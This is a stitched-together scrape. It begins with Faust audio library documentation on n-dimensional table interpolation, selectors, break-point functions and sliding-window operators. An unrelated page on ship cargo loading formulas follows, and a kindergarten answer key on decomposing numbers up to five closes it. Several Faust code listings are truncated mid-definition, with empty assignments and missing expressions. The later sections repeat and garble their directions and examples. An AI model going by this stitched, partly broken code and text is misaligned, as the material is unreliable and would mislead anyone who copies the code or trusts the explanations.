y-direction between points E and F to get our value.
To implement this in Faust, we need N sequential groups of interpolators, where N is the number of dimensions.
Each group feeds into the next, with the last "group" being a single interpolator, and the group before it containing one interpolator for each input of the group it's feeding.
Some examples:
• Our 2D linear example has two interpolators feeding into one.
• A 3D linear interpolator has four interpolators feeding into two, feeding into one.
• A 2D cubic interpolater has four interpolators feeding into one.
• A 3D cubic interpolator has sixteen interpolators feeding into four, feeding into one.
To understand which values we need to look up, let's consider the 2D linear example again. The four values going into the first group represent the four closest points (A, B, C, D) mentioned above.
1) The first interpolator gets:
• The closest value that is stored (A)
• The next value in the x dimension, keeping y fixed (B)
2) The second interpolator gets:
• One step over in the y dimension, keeping x fixed (C)
• One step over in both the x dimension and the y dimension (D)
The outputs of these two interpolators are points E and F. In other words: the interpolated x values and, respectively, the following y values:
• The closest stored value of the y dimension
• One step forward in the y dimension
The last interpolator takes these two values and interpolates them in the y dimension.
To generalize for N dimensions and linear interpolation:
• The first group has 2^(n-1) parallel interpolators interpolating in the first dimension.
• The second group has 2^(n-2) parallel interpolators interpolating in the second dimension.
• The process continues until the n-th group, which has a single interpolator interpolating in the n-th dimension.
The same principle applies to the cubic interpolation in nD. The only difference is that there would be 4^(n-1) parallel interpolators in the first group, compared to 2^(n-1) for linear
This is what the mixers function does.
Besides the values, each interpolator also needs to know the weight of each value in it's output.
Let's call this d, like in ba.interpolate. It is the same for each group of interpolators, since it correlates to a dimension.
It's value is calculated the similarly to ba.interpolate:
• First we prepare a "float table read-index" for that dimension (id in ba.tabulate)
• If the table only had that dimension and it could read a float index, what would it be.
• Then we int the float index to get the value we have stored that is closest to, but lower than the input value; the actual index for that dimension. Our d is the difference between the float
index and the actual index.
The ids function calculates the id for each dimension and inside the mixer function they get turned into ds.
Storage method
The elephant in the room is: how do we get these indexes? For that we need to know how the values are stored. We use one big table to store everything.
To understand the concept, let's look at the 2D example again, and then we'll extend it to 3d and the general nD case.
Let's say we have a 2D table with dimensions A and B where: A has 3 values between 0 and 5 and B has 4 values between 0 and 1. The 1D array representation of this 2D table will have a size of 3 * 4 =
The values are stored in the following way:
• First 3 values: A is 0, then 3, then 5 while B is at 0.
• Next 3 values: A changes from 0 to 5 while B is at 1/3.
• Next 3 values: A changes from 0 to 5 while B is at 2/3.
• Last 3 values: A changes from 0 to 5 while B is at 1.
For the 3D example, let's extend the 2D example with an additional dimension C having 2 values between 0 and 2. The total size will be 3 * 4 * 2 = 24.
The values are stored like so:
• First 3 values: A changes from 0 to 5, B is at 0, and C is at 0.
• Next 3 values: A changes from 0 to 5, B is at 1/3, and C is at 0.
• Next 3 values: A changes from 0 to 5, B is at 2/3, and C is at 0.
• Next 3 values: A changes from 0 to 5, B is at 1, and C is at 0.
The last 12 values are the same as the first 12, but with C at 2.
For the general n-dimensional case, we iterate through all dimensions, changing the values of the innermost dimension first, then moving towards the outer dimensions.
Read indexes
To get the float read index (id) corresponding to a particular dimension, we scale the function input value to be between 0 and 1, and multiply it by the size of that dimension minus one.
To understand how we get the readIndexfor .val, let's work trough how we'd do it in our 2D linear example.
For simplicity's sake, the ranges of the inputs to our function are both 0 to 1.
Say we wanted to read the value closest to x=0.5 and y=0, so the id of x is 1 (the second value) and the id of y is 0 (first value). In this case, the read index is just the id of x, rounded to the
nearest integer, just like in ba.tabulate.
If we want to read the value belonging to x=0.5 and y=2/3, things get more complicated. The id for y is now 2, the third value. For each step in the y direction, we need to increase the index by 3,
the number of values that are stored for x. So the influence of the y is: the size of x times the rounded id of y. The final read index is the rounded id of x plus the influence of y.
For the general nD case, we need to do the same operation N times, each feeding into the next. This operation is the riN function. We take four parameters: the size of the dimension before it
prevSize, the index of the previous dimension prevIX, the current size sizeX and the current id idX. riN has 2 outputs, the size, for feeding into the next dimension's prevSize, and the read index
feeding into the next dimension's prevIX.
The size is the sizeX times prevSize. The read index is the rounded idX times prevSize added to the prevIX. Our final readIndex is the read index output of the last dimension.
To get the read values for the interpolators need a pattern of offsets in each dimension, since we are looking for the read indexes surrounding the point of interest. These offsets are best explained
by looking at the code of tabulate2d, the hardcoded 2D version:
tabulate2d(C,function, sizeX,sizeY, rx0,ry0, rx1,ry1, x,y) =
environment {
size = sizeX*sizeY;
// Maximum X index to access
midX = sizeX-1;
// Maximum Y index to access
midY = sizeY-1;
// Maximum total index to access
mid = size-1;
// Create the table
wf = function(wfX,wfY);
// Prepare the 'float' table read index for X
idX = (x-rx0)/(rx1-rx0)*midX;
// Prepare the 'float' table read index for Y
idY = ((y-ry0)/(ry1-ry0))*midY;
// table creation X:
wfX =
// table creation Y:
wfY =
// Limit the table read index in [0, mid] if C = 1
rid(x,mid, 0) = x;
rid(x,mid, 1) = max(0, min(x, mid));
// Tabulate a binary 'FX' function on a range [rx0, rx1] [ry0, ry1]
val(x,y) =
rdtable(size, wf, readIndex);
readIndex =
rid(int(idX+0.5),midX, C)
, mid, C);
yOffset = sizeX*rid(int(idY),midY,C);
// Tabulate a binary 'FX' function over the range [rx0, rx1] [ry0, ry1] with linear interpolation
lin =
, it.interpolate_linear(dx,v0,v1)
, it.interpolate_linear(dx,v2,v3))
with {
i0 = rid(int(idX), midX, C)+yOffset;
i1 = i0+1;
i2 = i0+sizeX;
i3 = i1+sizeX;
dx = idX-int(idX);
dy = idY-int(idY);
v0 = rdtable(size, wf, rid(i0, mid, C));
v1 = rdtable(size, wf, rid(i1, mid, C));
v2 = rdtable(size, wf, rid(i2, mid, C));
v3 = rdtable(size, wf, rid(i3, mid, C));
// Tabulate a binary 'FX' function over the range [rx0, rx1] [ry0, ry1] with cubic interpolation
cub =
, it.interpolate_cubic(dx,v0,v1,v2,v3)
, it.interpolate_cubic(dx,v4,v5,v6,v7)
, it.interpolate_cubic(dx,v8,v9,v10,v11)
, it.interpolate_cubic(dx,v12,v13,v14,v15)
with {
i0 = i4-sizeX;
i1 = i5-sizeX;
i2 = i6-sizeX;
i3 = i7-sizeX;
i4 = i5-1;
i5 = rid(int(idX), midX, C)+yOffset;
i6 = i5+1;
i7 = i6+1;
i8 = i4+sizeX;
i9 = i5+sizeX;
i10 = i6+sizeX;
i11 = i7+sizeX;
i12 = i4+(2*sizeX);
i13 = i5+(2*sizeX);
i14 = i6+(2*sizeX);
i15 = i7+(2*sizeX);
dx = idX-int(idX);
dy = idY-int(idY);
v0 = rdtable(size, wf, rid(i0 , mid, C));
v1 = rdtable(size, wf, rid(i1 , mid, C));
v2 = rdtable(size, wf, rid(i2 , mid, C));
v3 = rdtable(size, wf, rid(i3 , mid, C));
v4 = rdtable(size, wf, rid(i4 , mid, C));
v5 = rdtable(size, wf, rid(i5 , mid, C));
v6 = rdtable(size, wf, rid(i6 , mid, C));
v7 = rdtable(size, wf, rid(i7 , mid, C));
v8 = rdtable(size, wf, rid(i8 , mid, C));
v9 = rdtable(size, wf, rid(i9 , mid, C));
v10 = rdtable(size, wf, rid(i10, mid, C));
v11 = rdtable(size, wf, rid(i11, mid, C));
v12 = rdtable(size, wf, rid(i12, mid, C));
v13 = rdtable(size, wf, rid(i13, mid, C));
v14 = rdtable(size, wf, rid(i14, mid, C));
v15 = rdtable(size, wf, rid(i15, mid, C));
In the interest of brevity, we'll stop explaining here. If you have any more questions, feel free to open an issue on faustlibraries and tag @magnetophon.
Selectors (Conditions)
if-then-else implemented with a select2. WARNING: since select2 is strict (always evaluating both branches), the resulting if does not have the usual "lazy" semantic of the C if form, and thus cannot
be used to protect against forbidden computations like division-by-zero for instance.
• cond: condition
• then: signal selected while cond is true
• else: signal selected while cond is false
if-then-elseif-then-...elsif-then-else implemented on top of ba.if.
ifNc((cond1,then1, cond2,then2, ... condN,thenN, else)) : _
ifNc(Nc, cond1,then1, cond2,then2, ... condN,thenN, else) : _
cond1,then1, cond2,then2, ... condN,thenN, else : ifNc(Nc) : _
• Nc : number of branches/conditions (constant numerical expression)
• condX: condition
• thenX: signal selected if condX is the 1st true condition
• else: signal selected if all the cond1-condN conditions are false
Example test program
process(x,y) = ifNc((x<y,-1, x>y,+1, 0));
process(x,y) = ifNc(2, x<y,-1, x>y,+1, 0);
process(x,y) = x<y,-1, x>y,+1, 0 : ifNc(2);
outputs -1 if x<y, +1 if x>y, 0 otherwise.
ifNcNo(Nc,No) is similar to ifNc(Nc) above but then/else branches have No outputs.
ifNcNo(Nc,No, cond1,then1, cond2,then2, ... condN,thenN, else) : sig.bus(No)
• Nc : number of branches/conditions (constant numerical expression)
• No : number of outputs (constant numerical expression)
• condX: condition
• thenX: list of No signals selected if condX is the 1st true condition
• else: list of No signals selected if all the cond1-condN conditions are false
Example test program
process(x) = ifNcNo(2,3, x<0, -1,-1,-1, x>0, 1,1,1, 0,0,0);
outputs -1,-1,-1 if x<0, 1,1,1 if x>0, 0,0,0 otherwise.
Selects the ith input among n at compile time.
_,_,_,_ : selector(2,4) : _ // selects the 3rd input among 4
• I: input to select (int, numbered from 0, known at compile time)
• N: number of inputs (int, known at compile time, N > I)
There is also cselector for selecting among complex input signals of the form (real,imag).
Select between 2 stereo signals.
_,_,_,_ : select2stereo(bpc) : _,_
• bpc: the selector switch (0/1)
Selects the ith input among N at run time.
_,_,_,_ : selectn(4,2) : _ // selects the 3rd input among 4
• N: number of inputs (int, known at compile time, N > 0)
• i: input to select (int, numbered from 0)
Example test program
N = 64;
process = par(n, N, (par(i,N,i) : selectn(N,n)));
Select a bus among NUM_BUSES buses, where each bus has BUS_SIZE outputs. The order of the signal inputs should be the signals of the first bus, the signals of the second bus, and so on.
process = si.bus(BUS_SIZE*NUM_BUSES) : selectbus(BUS_SIZE, NUM_BUSES, id) : si.bus(BUS_SIZE);
• BUS_SIZE: number of outputs from each bus (int, known at compile time).
• NUM_BUSES: number of buses (int, known at compile time).
• id: index of the bus to select (int, 0<=id<NUM_BUSES)
Like ba.selectbus, but with a cross-fade when selecting the bus using the same technique than ba.selectmulti.
process = si.bus(BUS_SIZE*NUM_BUSES) : selectbus(BUS_SIZE, NUM_BUSES, FADE, id) : si.bus(BUS_SIZE);
• BUS_SIZE: number of outputs from each bus (int, known at compile time).
• NUM_BUSES: number of buses (int, known at compile time).
• fade: number of samples for the crossfade.
• id: index of the bus to select (int, 0<=id<NUM_BUSES)
Selects the ith circuit among N at run time (all should have the same number of inputs and outputs) with a crossfade.
• n: crossfade in samples
• lgen: list of circuits
• id: circuit to select (int, numbered from 0)
Example test program
process = selectmulti(ma.SR/10, ((3,9),(2,8),(5,7)), nentry("choice", 0, 0, 2, 1));
process = selectmulti(ma.SR/10, ((_*3,_*9),(_*2,_*8),(_*5,_*7)), nentry("choice", 0, 0, 2, 1));
Route input to the output among N at run time.
_ : selectoutn(N, i) : si.bus(N)
• N: number of outputs (int, known at compile time, N > 0)
• i: output number to route to (int, numbered from 0) (i.e. slider)
Example test program
process = 1 : selectoutn(3, sel) : par(i, 3, vbargraph("v.bargraph %i", 0, 1));
sel = hslider("volume", 0, 0, 2, 1) : int;
Latch input on positive-going transition of trig: "records" the input when trig switches from 0 to 1, outputs a frozen values everytime else.
_ : latch(trig) : _
• trig: hold trigger (0 for hold, 1 for bypass)
Sample And Hold: "records" the input when trig is 1, outputs a frozen value when trig is 0. sAndH is a standard Faust function.
_ : sAndH(trig) : _
• trig: hold trigger (0 for hold, 1 for bypass)
Down sample a signal. WARNING: this function doesn't change the rate of a signal, it just holds samples... downSample is a standard Faust function.
_ : downSample(freq) : _
A version of ba.downSample where the frequency parameter has been replaced by an amount parameter that is in the range zero to one. WARNING: this function doesn't change the rate of a signal, it just
holds samples...
_ : downSampleCV(amount) : _
• amount: The amount of down-sampling to perform [0..1]
Outputs current max value above zero.
_ : peakhold(mode) : _
mode means:
0 - Pass through. A single sample 0 trigger will work as a reset.
1 - Track and hold max value.
While peak-holder functions are scarcely discussed in the literature (please do send me an email if you know otherwise), common sense tells that the expected behaviour should be as follows: the
absolute value of the input signal is compared with the output of the peak-holder; if the input is greater or equal to the output, a new peak is detected and sent to the output; otherwise, a timer
starts and the current peak is held for N samples; once the timer is out and no new peaks have been detected, the absolute value of the current input becomes the new peak.
_ : peakholder(holdTime) : _
• holdTime: hold time in samples
Force a control rate signal to be used as an audio rate signal.
hslider("freq", 200, 200, 2000, 0.1) : kr2ar;
Turns a signal into an impulse with the value of the current sample (0.3,0.2,0.1 becomes 0.3,0.0,0.0). This function is typically used with a button to turn its output into an impulse. impulsify is a
standard Faust function.
button("gate") : impulsify;
Record and replay in a loop the successives values of the input signal.
hslider(...) : automat(t, size, init) : _
• t: tempo in BPM
• size: number of items in the loop
• init: init value in the loop
bpf is an environment (a group of related definitions) that can be used to create break-point functions. It contains three functions:
• start(x,y) to start a break-point function
• end(x,y) to end a break-point function
• point(x,y) to add intermediate points to a break-point function, using linear interpolation
A minimal break-point function must contain at least a start and an end point:
f = bpf.start(x0,y0) : bpf.end(x1,y1);
A more involved break-point function can contains any number of intermediate points:
f = bpf.start(x0,y0) : bpf.point(x1,y1) : bpf.point(x2,y2) : bpf.end(x3,y3);
In any case the x_{i} must be in increasing order (for all i, x_{i} < x_{i+1}). For example the following definition:
f = bpf.start(x0,y0) : ... : bpf.point(xi,yi) : ... : bpf.end(xn,yn);
implements a break-point function f such that:
• f(x) = y_{0} when x < x_{0}
• f(x) = y_{n} when x > x_{n}
• f(x) = y_{i} + (y_{i+1}-y_{i})*(x-x_{i})/(x_{i+1}-x_{i}) when x_{i} <= x and x < x_{i+1}
In addition to bpf.point, there are also step and curve functions:
• step(x,y) to add a flat section
• step_end(x,y) to end with a flat section
• curve(B,x,y) to add a curved section
• curve_end(B,x,y) to end with a curved section
These functions can be combined with the other bpf functions.
Here's an example using bpf.step:
f(x) = x : bpf.start(0,0) : bpf.step(.2,.3) : bpf.step(.4,.6) : bpf.step_end(1,1);
For x < 0.0, the output is 0.0. For 0.0 <= x < 0.2, the output is 0.0. For 0.2 <= x < 0.4, the output is 0.3. For 0.4 <= x < 1.0, the output is 0.6. For 1.0 <= x, the output is 1.0
For the curve functions, B (compile-time constant) is a "bias" value strictly greater than zero and less than or equal to 1. When B is 0.5, the output curve is exactly linear and equivalent to
bpf.point. When B is less than 0.5, the output is biased towards the y value of the previous breakpoint. When B is greater than 0.5, the output is biased towards the y value of the curve breakpoint.
Here's an example:
f = bpf.start(0,0) : bpf.curve(.15,.5,.5) : bpf.curve_end(.85,1,1);
In the following example, the output is biased towards zero (the latter y value) instead of being a linear ramp from 1 to 0.
f = bpf.start(0,1) : bpf.curve_end(.9,1,0);
bpf is a standard Faust function.
Linearly interpolates between the elements of a list.
index = 1.69; // range is 0-4
process = listInterp((800,400,350,450,325),index);
• index: the index (float) to interpolate between the different values. The range of index depends on the size of the list.
Takes a mono input signal, route it to e and bypass it if bpc = 1. When bypassed, e is feed with zeros so that its state is cleanup up. bypass1 is a standard Faust function.
_ : bypass1(bpc,e) : _
• bpc: bypass switch (0/1)
• e: a mono effect
Takes a stereo input signal, route it to e and bypass it if bpc = 1. When bypassed, e is feed with zeros so that its state is cleanup up. bypass2 is a standard Faust function.
_,_ : bypass2(bpc,e) : _,_
• bpc: bypass switch (0/1)
• e: a stereo effect
Bypass switch for effect e having mono input signal and stereo output. Effect e is bypassed if bpc = 1.When bypassed, e is feed with zeros so that its state is cleanup up. bypass1to2 is a standard
Faust function.
_ : bypass1to2(bpc,e) : _,_
• bpc: bypass switch (0/1)
• e: a mono-to-stereo effect
Bypass an arbitrary (N x N) circuit with 'n' samples crossfade. Inputs and outputs signals are faded out when 'e' is bypassed, so that 'e' state is cleanup up. Once bypassed the effect is replaced by
par(i,N,_). Bypassed circuits can be chained.
_ : bypass_fade(n,b,e) : _
_,_ : bypass_fade(n,b,e) : _,_
• n: number of samples for the crossfade
• b: bypass switch (0/1)
• e: N x N circuit
Example test program
process = bypass_fade(ma.SR/10, checkbox("bypass echo"), echo);
process = bypass_fade(ma.SR/10, checkbox("bypass reverb"), freeverb);
Triggered by the change of 0 to 1, it toggles the output value between 0 and 1.
_ : toggle : _
Example test program
button("toggle") : toggle : vbargraph("output", 0, 1)
(an.amp_follower(0.1) > 0.01) : toggle : vbargraph("output", 0, 1) // takes audio input
The first channel set the output to 1, the second channel to 0.
_,_ : on_and_off : _
Example test program
button("on"), button("off") : on_and_off : vbargraph("output", 0, 1)
Produce distortion by reduction of the signal resolution.
_ : bitcrusher(nbits) : _
• nbits: the number of bits of the wanted resolution
Sliding Reduce
Provides various operations on the last n samples using a high order slidingReduce(op,n,maxN,disabledVal,x) fold-like function:
• slidingSum(n): the sliding sum of the last n input samples, CPU-light
• slidingSump(n,maxN): the sliding sum of the last n input samples, numerically stable "forever"
• slidingMax(n,maxN): the sliding max of the last n input samples
• slidingMin(n,maxN): the sliding min of the last n input samples
• slidingMean(n): the sliding mean of the last n input samples, CPU-light
• slidingMeanp(n,maxN): the sliding mean of the last n input samples, numerically stable "forever"
• slidingRMS(n): the sliding RMS of the last n input samples, CPU-light
• slidingRMSp(n,maxN): the sliding RMS of the last n input samples, numerically stable "forever"
Working Principle
If we want the maximum of the last 8 values, we can do that as:
simpleMax(x) =
) :max
) :max
max(x@2,x@3) is the same as max(x@0,x@1)@2 but the latter re-uses a value we already computed,so is more efficient. Using the same trick for values 4 trough 7, we can write:
) :max
) :max@4
We can rewrite it recursively, so it becomes possible to get the maximum at have any number of values, as long as it's a power of 2.
recursiveMax =
case {
(1,x) => x;
(N,x) => max(recursiveMax(N/2,x), recursiveMax(N/2,x)@(N/2));
What if we want to look at a number of values that's not a power of 2? For each value, we will have to decide whether to use it or not. If n is bigger than the index of the value, we use it,
otherwise we replace it with (0-(ma.MAX)):
variableMax(n,x) =
(x@0 : useVal(0)),
(x@1 : useVal(1))
(x@2 : useVal(2)),
(x@3 : useVal(3))
(x@4 : useVal(4)),
(x@5 : useVal(5))
(x@6 : useVal(6)),
(x@7 : useVal(7))
with {
useVal(i) = select2((n>=i) , (0-(ma.MAX)),_);
Now it becomes impossible to re-use any values. To fix that let's first look at how we'd implement it using recursiveMax, but with a fixed n that is not a power of 2. For example, this is how you'd
do it with n=3:
binaryMaxThree(x) =
recursiveMax(1,x)@0, // the first x
recursiveMax(2,x)@1 // the second and third x
binaryMaxSix(x) =
recursiveMax(2,x)@0, // first two
recursiveMax(4,x)@2 // third trough sixth
Note that recursiveMax(2,x) is used at a different delay then in binaryMaxThree, since it represents 1 and 2, not 2 and 3. Each block is delayed the combined size of the previous blocks.
binaryMaxSeven(x) =
recursiveMax(1,x)@0, // first x
recursiveMax(2,x)@1 // second and third
recursiveMax(4,x)@3 // fourth trough seventh
To make a variable version, we need to know which powers of two are used, and at which delay time.
Then it becomes a matter of:
• lining up all the different block sizes in parallel: sequentialOperatorParOut()
• delaying each the appropriate amount: sumOfPrevBlockSizes()
• turning it on or off: useVal()
• getting the maximum of all of them: parallelOp()
In Faust, we can only do that for a fixed maximum number of values: maxN, known at compile time.
Fold-like high order function. Apply a commutative binary operation op to the last n consecutive samples of a signal x. For example : slidingReduce(max,128,128,0-(ma.MAX)) will compute the maximum of
the last 128 samples. The output is updated each sample, unlike reduce, where the output is constant for the duration of a block.
_ : slidingReduce(op,n,maxN,disabledVal) : _
• n: the number of values to process
• maxN: the maximum number of values to process (int, known at compile time, maxN > 0)
• op: the operator. Needs to be a commutative one.
• disabledVal: the value to use when we want to ignore a value.
In other words, op(x,disabledVal) should equal to x. For example, +(x,0) equals x and min(x,ma.MAX) equals x. So if we want to calculate the sum, we need to give 0 as disabledVal, and if we want the
minimum, we need to give ma.MAX as disabledVal.
The sliding sum of the last n input samples.
It will eventually run into numerical trouble when there is a persistent dc component. If that matters in your application, use the more CPU-intensive ba.slidingSump.
_ : slidingSum(n) : _
• n: the number of values to process
The sliding sum of the last n input samples.
It uses a lot more CPU than ba.slidingSum, but is numerically stable "forever" in return.
_ : slidingSump(n,maxN) : _
• n: the number of values to process
• maxN: the maximum number of values to process (int, known at compile time, maxN > 0)
The sliding maximum of the last n input samples.
_ : slidingMax(n,maxN) : _
• n: the number of values to process
• maxN: the maximum number of values to process (int, known at compile time, maxN > 0)
The sliding minimum of the last n input samples.
_ : slidingMin(n,maxN) : _
• n: the number of values to process
• maxN: the maximum number of values to process (int, known at compile time, maxN > 0)
The sliding mean of the last n input samples.
It will eventually run into numerical trouble when there is a persistent dc component. If that matters in your application, use the more CPU-intensive ba.slidingMeanp.
_ : slidingMean(n) : _
• n: the number of values to process
The sliding mean of the last n input samples.
It uses a lot more CPU than ba.slidingMean, but is numerically stable "forever" in return.
_ : slidingMeanp(n,maxN) : _
• n: the number of values to process
• maxN: the maximum number of values to process (int, known at compile time, maxN > 0)
The root mean square of the last n input samples.
It will eventually run into numerical trouble when there is a persistent dc component. If that matters in your application, use the more CPU-intensive ba.slidingRMSp.
_ : slidingRMS(n) : _
• n: the number of values to process
The root mean square of the last n input samples.
It uses a lot more CPU than ba.slidingRMS, but is numerically stable "forever" in return.
_ : slidingRMSp(n,maxN) : _
• n: the number of values to process
• maxN: the maximum number of values to process (int, known at compile time, maxN > 0)
Parallel Operators
Provides various operations on N parallel inputs using a high order parallelOp(op,N,x) function:
• parallelMax(N): the max of n parallel inputs
• parallelMin(N): the min of n parallel inputs
• parallelMean(N): the mean of n parallel inputs
• parallelRMS(N): the RMS of n parallel inputs
Apply a commutative binary operation op to N parallel inputs.
si.bus(N) : parallelOp(op,N) : _
• N: the number of parallel inputs known at compile time
• op: the operator which needs to be commutative
The maximum of N parallel inputs.
si.bus(N) : parallelMax(N) : _
• N: the number of parallel inputs known at compile time
The minimum of N parallel inputs.
si.bus(N) : parallelMin(N) : _
• N: the number of parallel inputs known at compile time
The mean of N parallel inputs.
si.bus(N) : parallelMean(N) : _
• N: the number of parallel inputs known at compile time
The RMS of N parallel inputs.
si.bus(N) : parallelRMS(N) : _
• N: the number of parallel inputs known at compile time | {"url":"https://faustlibraries.grame.fr/libs/basics/","timestamp":"2024-11-12T12:31:10Z","content_type":"text/html","content_length":"91899","record_id":"<urn:uuid:022b9f32-b8b1-4193-a4ac-a35538ac9f2e>","cc-path":"CC-MAIN-2024-46/segments/1730477028273.45/warc/CC-MAIN-20241112113320-20241112143320-00024.warc.gz"} |
ニュース How do you calculate cargo load on a ship?. トピックに関する記事 – What is the loading process of a ship
The process of loading and unloading containers in a cargo ship involves the following steps:
• Planning the schedule and organizing containers in a yard.
• Positioning the ship and ensuring its stability.
• Using cranes to lift containers onto or off the ship.
The position of the centre of gravity (G) is measured vertically from a reference point, usually the keel of the vessel (K). This distance is called KG.Loading cargo involves putting goods onto a
transport vehicle, whether that's a ship, plane, truck, or train. Once properly loaded, cargo then begins its journey to its final destination.
What is shipping loading ratemarine. The rate of loading of a particular type of shore-based equipment (measured in tons/hour).
What is the formula for KG in ships
Calculate KG: KG = VMOM/Mass = 20.528/15.59 = 1.317 m above the base line, BL.Final KG = (Final VM / Final Weight) Final KG = ( 41000 / 10000 ) = 4.11m.
How is cargo calculated
Shipment size by volumetric weight (single shipment)
This is calculated by multiplying the volume with the volumetric factor (typical value is 0.25 tonnes/m3). The result is compared with the actual weight of the shipment to ascertain which is greater;
the higher weight is used to determine the allocation factor.
Dynamic loads are those additional loads exerted on the ship's hull structure through the action of the waves and the effects of the resultant ship motions (i.e. acceleration forces, slamming and
sloshing loads). Hogging and sagging forces are at a maximum when the wave length is equal to the length of the ship.
What is cargo loads
Loading cargo involves putting goods onto a transport vehicle, whether that's a ship, plane, truck, or train. Once properly loaded, cargo then begins its journey to its final destination.tonnage, in
shipping, the total number of tons registered or carried or the total carrying capacity. Gross tonnage is calculated from the formula GT = K1V, where V is the volume of a ship's enclosed spaces in
cubic metres and K1 is a constant calculated by K1 = 0.2 + 0.02 log10 V.The equations are as follows:
• Volumes at 15oC on board a vessel always GROSS = Gross Volume at 15oC = Gross Standard Volume; Gross Standard Volume = Gross Standard Volume * Volume Correction Factor;
• Gross Weight In Vacuo (Mass) = Gross Standard Volume * Density @ 15oC (Vacuo).
Take the total load, and divide by the overall recommended load to get the percentage. For example, if the total load is up to 800 watts and this is a 20 amp circuit, then the load usage is 800 watts
divided by 1920 watts equal to 0.416 or 42%.
Why 1 cbm is 167 kgAir freight – 1:6,000 (1 m³ = 6,000 kg or 6 tons). But when we use the first formula (CBM x DIM Factor = Dimensional Weight), then the DIM factor is 1:167, where 1 m³ = 167 kg.
Courier/Express freight – 1:5,000 (1 m³ = 5,000 kg or 5 tons) Road freight (less than truckload or LTL) – 1:3,000 (1 m³ = 3,000 kg or 3 tons.
What is the maximum load of a shipTheoretically there is no maximum weight. As long as the size of the vessel increases with it's weight so that the weight of the volume of water displaced by the
ship is greater than the weight of the ship and its contents the ship will float.
How do you calculate cargo
Air Cargo KG to CBM
Calculating CBM for air cargo is different than for ocean freight. The standard formula used is length (cm) x width (cm) x height (cm) ÷ 6000 = volumetric weight (KG)/1 CBM ≈ 166.6666 KG.
Size categories
Name Capacity (TEU) Draft
Ultra Large Container Vessel (ULCV) 14,501 and higher 49.9 ft (15.2 m) and deeper
New Panamax (or Neopanamax) 10,000–14,500 49.9 ft (15.2 m)
Post-Panamax 5,101–10,000
Panamax 3,001–5,100 39.5 ft (12.04 m)
Calculate KG: KG = VMOM/Mass = 20.528/15.59 = 1.317 m above the base line, BL. From the vessel's mass displacement of 15.59 tonnes the values for the reference draught TKC and the KM can be found
from the table of hydrostatic curves on page 38.Cubic Meter (CBM) is calculated by multiplying the length, width and height of packages, that is, L x W x H. (if in metres). Let say we have the length
of packages of goods as 2.5, width 1.6 and height 2.2. Calculating in inches, it is 2.5 x 1.6 x 3 = 12 CBM. | {"url":"https://www.parkzaryadye.com/informacion/how-do-you-calculate-cargo-load-on-a-ship/","timestamp":"2024-11-04T09:14:34Z","content_type":"text/html","content_length":"74388","record_id":"<urn:uuid:c7dc21d5-0d66-48d3-b856-8739b530f840>","cc-path":"CC-MAIN-2024-46/segments/1730477027819.53/warc/CC-MAIN-20241104065437-20241104095437-00849.warc.gz"} |
To determine the distance from point to plane
Distance from point to plane
Determine: Distance from point to plane.
Given: Quadrilateral EBCD and point A.
Coordinate value table.
Option Coordinate values
XA YA ZA XB YB ZB XC YC ZC XD YD ZD XE YE ZE
We have already determined the distance from a point to a plane only by the method of a right triangle. In this video lesson, we also define the distance from a point to a plane only by the method of
replacing the planes of projections.
The solution of problems on descriptive geometry I produce in the automated design system AutoCAD and AutoCAD 3D. This training will allow you to develop spatial thinking and consolidate the
possession of AutoCAD.
• We transform the plane of general position of the quadrilateral EBCD into the plane front-projecting.
□ We construct a new axis of projections X14 perpendicular to the horizontal of the plane of the quadrilateral EBCD.
□ We remove the coordinate для for the plane Π1 from the plane Π2.
The perpendicular A4K4 is the distance from the point to the plane, because it is projected into a segment of natural size.
Using communication lines, we build a perpendicular to the plane of the quadrilateral EBCD. On the plane П1 we take the coordinate Z from the plane П4.
More details in the video tutorial on descriptive geometry in AutoCAD
Recommend to viewing:
• Distance from point to plane - Perpendicular to plane.
• Intersection of planes - Intersection of two perpendicular planes.
Video "Distance from a point to a plane (Russian)"
This video tutorial and article are included in the professional free self-instruction manual AutoCAD, which is suitable for both novice users and those already working in AutoCAD.
Free CAD lessons and disciplines of drawing
My comments | {"url":"https://drawing-portal.com/en/tochka-pryamaya-ploskost/to-determine-the-distance-from-point-to-plane.html","timestamp":"2024-11-14T07:24:46Z","content_type":"text/html","content_length":"65253","record_id":"<urn:uuid:463ec91c-80ef-4200-af21-cd1c483377ab>","cc-path":"CC-MAIN-2024-46/segments/1730477028545.2/warc/CC-MAIN-20241114062951-20241114092951-00532.warc.gz"} |
Texas Go Math Kindergarten Lesson 9.3 Answer Key Decompose Numbers Up to 5
Refer to our Texas Go Math Kindergarten Answer Key Pdf to score good marks in the exams. Test yourself by practicing the problems from Texas Go Math Kindergarten Lesson 9.3 Answer Key Decompose
Numbers Up to 5.
Texas Go Math Kindergarten Lesson 9.3 Answer Key Decompose Numbers Up to 5
DIRECTIONS: Place 5 counters in the five frame as shown. Trace the counters. Trace the number that shows how many counters are red. Trace the symbol. Write the number of counters that are yellow.
The number of red counters are 1
the number of yellow counters are 4
Total number of counters 5
5 – 1 = 4
Share and Show
DIRECTIONS: 1. Place 4 counters in the five frame as shown. Trace the counters. Write the number of counters that are red. Write the number of counters that are yellow. Trace the symbol. 2. Place 3
counters in the five frame as shown. Trace the counters. Write the number of counters that are red. Write the number of counters that are yellow. Trace the symbol.
Question 1.
The number of red counters are 1
the number of yellow counters are 3
Total number of counters 4
4 – 1 = 3
Question 2.
The number of red counters are 1
the number of yellow counters are 2
Total number of counters 3
3 – 1 = 2
DIRECTIONS: 3. Place 4 counters in the five frame. Trace the counters. Write the number of counters that are red. Write the number of counters that are yellow. Trace the symbol. 4. Place 3 counters
in the five frame. Trace the counters. Write the number of counters that are red. Write the number of counters that are yellow. Trace the symbol.
Question 3.
The number of red counters are 2
the number of yellow counters are 2
Total number of counters 4
4 – 2 = 2
Question 4.
The number of red counters are 2
the number of yellow counters are 1
Total number of counters 3
3 – 2 = 1
HOME ACTIVITY • Show your child a set of 5 small objects. Take away three objects. Have him or her describe how you decomposed the set.
John has 5 trucks
He gave 3 to his friend
5 – 3 = 2
so, 2 trucks are remaining
DIRECTIONS: 5. There are counters in the five frame. One counter is yellow. How many counters are red? Color the counters. Write the number of counters in the five frame. Write the number of counters
that are yellow. Write the number of counters that are red. 6. Choose the correct answer. There are 4 rabbits. Two of the rabbits are big. How many rabbits are small?
Problem Solving
Question 5.
The number of red counters are 3
the number of yellow counters are 1
Total number of counters 4
4 – 1 = 3
Daily Assessment Task
Question 6.
There are 4 rabbits. Two of the rabbits are big.
4 – 2 = 2
2 rabbits are small
The difference of 4 and 2 is 2
Texas Go Math Kindergarten Lesson 9.3 Homework and Practice Answer Key
